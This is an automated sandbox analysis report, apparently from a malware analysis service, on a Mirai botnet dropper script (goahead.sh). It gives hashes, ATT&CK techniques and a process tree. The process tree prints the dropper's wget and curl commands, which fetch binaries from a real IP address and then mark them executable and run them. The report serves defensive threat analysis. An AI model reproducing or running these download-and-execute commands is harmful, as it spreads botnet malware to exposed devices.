mirai | 64aece1f47e650294e15961d13d6e648a19cfe51610edd1ad2bce7dec9030dc1

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11-12-2024 21:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

goahead.sh
Size

2KB
MD5

773c1c86e0bae0797850ada81b9d2592
SHA1

d7bc840b90bb6d91af76ff3da47f02499b532b63
SHA256

64aece1f47e650294e15961d13d6e648a19cfe51610edd1ad2bce7dec9030dc1
SHA512

6b5ef2b0d69703381a2305427e60f563b8864ef9be4fb8e2a9f45f370867a41ddcf784562cfef009db2b9c76f894ce76432ba86a2ecf8d051cd3c991bb510500

Score

10^/10

mirai botnet botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (107977) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1506	chmod
1511	chmod
1520	chmod
1534	chmod
1543	chmod
1552	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/Andrew	1507	Andrew
/tmp/Andrew	1512	Andrew
/tmp/Andrew	1521	Andrew
/tmp/Andrew	1535	Andrew
/tmp/Andrew	1544	Andrew
/tmp/Andrew	1553	Andrew

Modifies Watchdog functionality 1 TTPs 10 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew

Enumerates active TCP sockets 1 TTPs 4 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-3.dat	upx
behavioral1/files/fstream-6.dat	upx
behavioral1/files/fstream-8.dat	upx
behavioral1/files/fstream-10.dat	upx
behavioral1/files/fstream-12.dat	upx

Changes its process name 4 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1512	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1521	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1535	Andrew
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	1544	Andrew

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew
File opened for reading	/proc/net/tcp	Andrew

Reads runtime system information 5 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew
File opened for reading	/proc/	Andrew

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1537	wget
1541	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Andrew	goahead.sh
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/i486	curl
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/mpsl	curl

/tmp/goahead.sh
/tmp/goahead.sh
1⤵
- Writes file to tmp directory
PID:1499
- /usr/bin/wget
  wget http://37.114.41.90/bins/i486
  2⤵
  PID:1500
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i486
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/cat
  cat i486
  2⤵
  PID:1505
- /bin/chmod
  chmod +x Andrew config-err-xbMkPD goahead.sh i486 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-0kP2wn
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/Andrew
  ./Andrew goahead.exploit
  2⤵
  - Executes dropped EXE
  PID:1507
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/cat
  cat x86
  2⤵
  PID:1510
- /bin/chmod
  chmod +x Andrew config-err-xbMkPD goahead.sh i486 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-0kP2wn x86
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/Andrew
  ./Andrew goahead.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1512
- /usr/bin/wget
  wget http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-0kP2wn x86
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/Andrew
  ./Andrew goahead.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1521
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1532
- /bin/chmod
  chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/Andrew
  ./Andrew goahead.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1535
- /usr/bin/wget
  wget http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1537
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 mips netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/Andrew
  ./Andrew goahead.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1544
- /usr/bin/wget
  wget http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1546
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 mips mpsl netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/Andrew
  ./Andrew goahead.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:1553

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/i486

Filesize
274B

MD5
090e35476de39030dfeafbcf3d3e3f43

SHA1
a4bd408cec5d1185b478e528cf60a9f5186e0b87

SHA256
0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

SHA512
55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

Download Submit
/tmp/i686

Filesize
28KB

MD5
15fb222600a3061f5c8e5ef04e5298a6

SHA1
93b4a17632479c8a45e2554a18ea61ea7365c532

SHA256
fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

SHA512
11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

Download Submit
/tmp/mips

Filesize
34KB

MD5
6088a204e0792a10d3724e836fe699b7

SHA1
fc1cf1010c99f155c46f94ec0529c8cea32c6055

SHA256
345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

SHA512
bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

Download Submit
/tmp/mpsl

Filesize
34KB

MD5
b8f2bf3e7c002718f12751cb02130d2e

SHA1
06919c90eae2564ee9ded3f343e2ec18839e411d

SHA256
390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

SHA512
adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

Download Submit
/tmp/x86

Filesize
28KB

MD5
54d07ade0004f03aaca028523d8f3eb6

SHA1
73606fc68439ea7ceb148f94d61dbe0235da8355

SHA256
d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

SHA512
43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

Download Submit
/tmp/x86_64

Filesize
28KB

MD5
9cc970e0631afa61a049848f4f368b12

SHA1
54d7d99f436e9c97da5bfdd43698bb1dbd679b29

SHA256
681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

SHA512
9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads